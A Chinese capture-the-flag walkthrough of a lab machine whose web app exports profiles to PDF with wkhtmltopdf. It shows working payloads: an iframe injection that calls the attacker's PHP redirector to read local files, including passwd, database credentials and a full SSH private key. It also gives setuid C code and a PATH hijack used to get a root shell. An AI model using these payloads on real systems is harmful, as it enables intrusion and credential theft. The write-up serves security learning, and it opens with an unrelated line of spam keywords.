wordpress私人建站主题,移动端响应式网站怎么做,诸城网站建设费用,cnu摄影官网难度 中 #xff08;个人认为是高#xff09;
目标 root权限 一个flag
靶机启动环境为VMware kali 192.168.152.56 靶机 192.168.152.64
信息收集 突破点大概就是web端了 web测试
访问主页直接就是目录遍历 不过进去后是一个正常的网页 简单的试了几个弱口令无果继续信息…难度 中 个人认为是高
目标 root权限 一个flag
靶机启动环境为VMware kali 192.168.152.56 靶机 192.168.152.64
信息收集 突破点大概就是web端了 web测试
访问主页直接就是目录遍历 不过进去后是一个正常的网页 简单的试了几个弱口令无果继续信息收集
在主页介绍了一下这个网站的作用是一个旨在让员工查看他们的个人资料详细信息并允许他们将详细信息导出为PDF的系统
通过目录扫描扫描出了一些php文件但是大部分都打开没有内容估计是没有登录没有权限但是有一个export.php的网页访问有显示 看着好像是管理员的一些信息
应该是有个名为 Gemini 的管理员账号难道是爆破密码吗
后面我抓包研究这个PDF发现了一个参数?filename还以为是文件包含测了半天发现也不存在实在没啥思路了只能去看一看wp
搞半天直接去github找源码里面有默认的账号密码。。。
这样太没意思了吧。。。
就这个网站 在install的时候应该是默认有个账号 看着是弱口令也许一开始选择爆破或许也会出来只不过这个网站有做了token验证需要写脚本也有点麻烦 进来后可以看到正是管理员的账号 突破边界
这里突破使用的方法我也是第一次遇到当时信息收集的时候也没想过这个wkhtmltopdf会不会有什么漏洞
在actions中的编辑profile中会跳转到之前的exports.php
可以查看到当pdf的一些信息可以看到使用的就是wkhtmltopdf 这个工具就是将html转换为PDF此命令行工具存在一个SSRF搭配文件包含的漏洞可以实现任意文件的读取
在前期的测试中队每个输入点进行一遍测试可以发现这个display name的位置存在xss也就是可以影响到前段的html 为了验证是否存在相关漏洞可以先在此位置尝试能否加载远程的资源
iframe srchttp://ww.baidu.com/iframe 看能否加载百度 可以看到确实可以加载外部资源 既然可以远程文件包含那么可以尝试本地文件包含但是此漏洞需要配合一下ssrf需要再攻击机上写个用来重定向的代码让靶机去解析。
所以先在攻击机上面开始apache服务以及有php语言的环境然后在/var/www/html下面创建一个ssrf.php当然能这样实现还是因为这个wkhtmltopdf存在这种解析漏洞
写入
?php header(location:file://.$_REQUEST[url]); ? 这个参数就可以用来指定具体的文件来读取
然后开启apache service apache2 start 然后回到页面进行编辑之前的注入点
iframe srchttp://192.168.152.56/ssrf.php?url/etc/passwd/iframe 因为只有在html转为PDF才会触发漏洞所以只能在export页面查看
可以看到成功的实现了文件的读取就是框框有点小而且还不能滑动。 重新修改一下iframe的属性把框框变大些
iframe srchttp://192.168.152.56/ssrf.php?url/etc/passwd width800 height4000/iframe
现在就可以很舒服的读取文件了 通过查看这个passwd发现只有root和gemini1两个用户能登录可以对gemini1进行ssh的爆破也可以继续对靶机读取一些敏感文件
在github上面查看源码的时候其实在setting.php中出现了需要填写的数据库的账号密码的地方是否可以尝试读取这些文件获取这些来作为ssh的登录密码呢
但是需要猜测一下绝对路径 /var/www/html/test2/inc/settings.php iframe srchttp://192.168.152.56/ssrf.php?url/var/www/html/test2/inc/settings.php width800 height4000/iframe 确实有密码等信息不过拿去用来登录可惜了都失败了。。。
那么前面得知了gemini1用户以及他的home目录是否他开启了私钥登录可以尝试去读取一下他的私钥或公钥呢 /home/gemini1/.ssh/id_rsa iframe srchttp://192.168.152.56/ssrf.php?url/home/gemini1/.ssh/id_rsa width800 height4000/iframe
也是成功的读取到了rsa了 -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs 6c11dX9Mi8OLBpKuBY08aTgWbEtUAkVEpRUmkwpSx54OTBMFX35x4snzzX5u Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V u7clKpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsqp oSbdwoXao8n7oO2ASHc05d2vtmmmGP314pjuQIDAQABAoIBAQCqWuJQHeSwiWY WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLgmqWXZBuCVtiyF6IuD eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeEk0MDmUsoyqfpeM QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR MhK5KLTDvWUf3deUcoUy1hyjPvdDmlC27vcvZ0GXVvyRkssjbNMYWlQvNIZn 1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6XosRqk44soLauI xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC 1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjdabl aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu 968rdQsmJK8X5aWxq08VzlKwArmGeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9 r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7 WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk SwvUbyPzalGob21GIYJpi2IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhPh JAEpUWkCgYEAj2kz6bFeKxKFUuDbd88vjU6FB8FL7mQFQ2Ae9IWNyuTQSpGh vXAtW/ceaiO4gHRz60wWFvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4Bt j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k -----END RSA PRIVATE KEY----- 当然能不能登录还是等看看靶机上有没有公钥于是还在读取一下.ssh/authorized_keys中有没有对应的公钥 存在公钥说明是允许某个私钥进行登录的而且就属于gemini1
那么就可以拿着私钥去登录了
一开始还爆了个错误发现是权限问题修改为600就可以了 提权
本次提权也是非常的有难度有细节。
首先进行常见的几种提权手法看看内核版本试一试sudo发现都要密码看看是否有suid提权 并没有看到我熟知的几种可以直接用来提权的命令然后可以一个一个去尝试但是大部分命令都要密码
直到尝试了这个listinfo 这个命令比较奇怪打印了网卡的信息以及两个端口的监听情况和date信息在网上搜索了一下也没有这个命令很有可能是自己添加的 查看信息发现是一个elf的可执行文件
使用strings查看elf中出现可打印的字符串信息 发现他应该是将这个几个命令的结果整合到了一起然后打印输出
如果说我们替换了其中的一些命令那么listinfo在执行的时候是不是就会执行替换后的命令但是这里前三个命令都指定了具体的路径并且这些文件都是当前用户没有权限进行修改的只有最后一个date没有指定具体的路径给我们留下了可趁之机 用一段c代码保存为date.c
作用是以root的权限开启一个bin/bash
#include sys/types.h
#include unistd.h
#include stdlib.h
int main(){setuid(0);setgid(0);system(/bin/bash);}
然后使用gcc编译 gcc date.c -o date 因为没有date指定具体的路径 在实际中date是根据环境变量中的路径去找的从左往右找这里他的实际路径在/bin下面
我们也无法对直接将date放到前面几个变量中不过可以直接导入新的环境变量 export PATH/home/gemini1/:$PATH 这下他找date命令就会先到gemini1下面找了
一切准备就绪后就可以再次运行listinfo命令了 成功提权至root并且拿到flag 后记 也是很有难度的一次提权对于一个命令的猜测和探索从而发现这样的提权的方式并且后续的利用date进行提升权限直接用的c代码编译为可执行成功也很有意思要是独立完成可能还真拿不下不过又学到了新的姿势。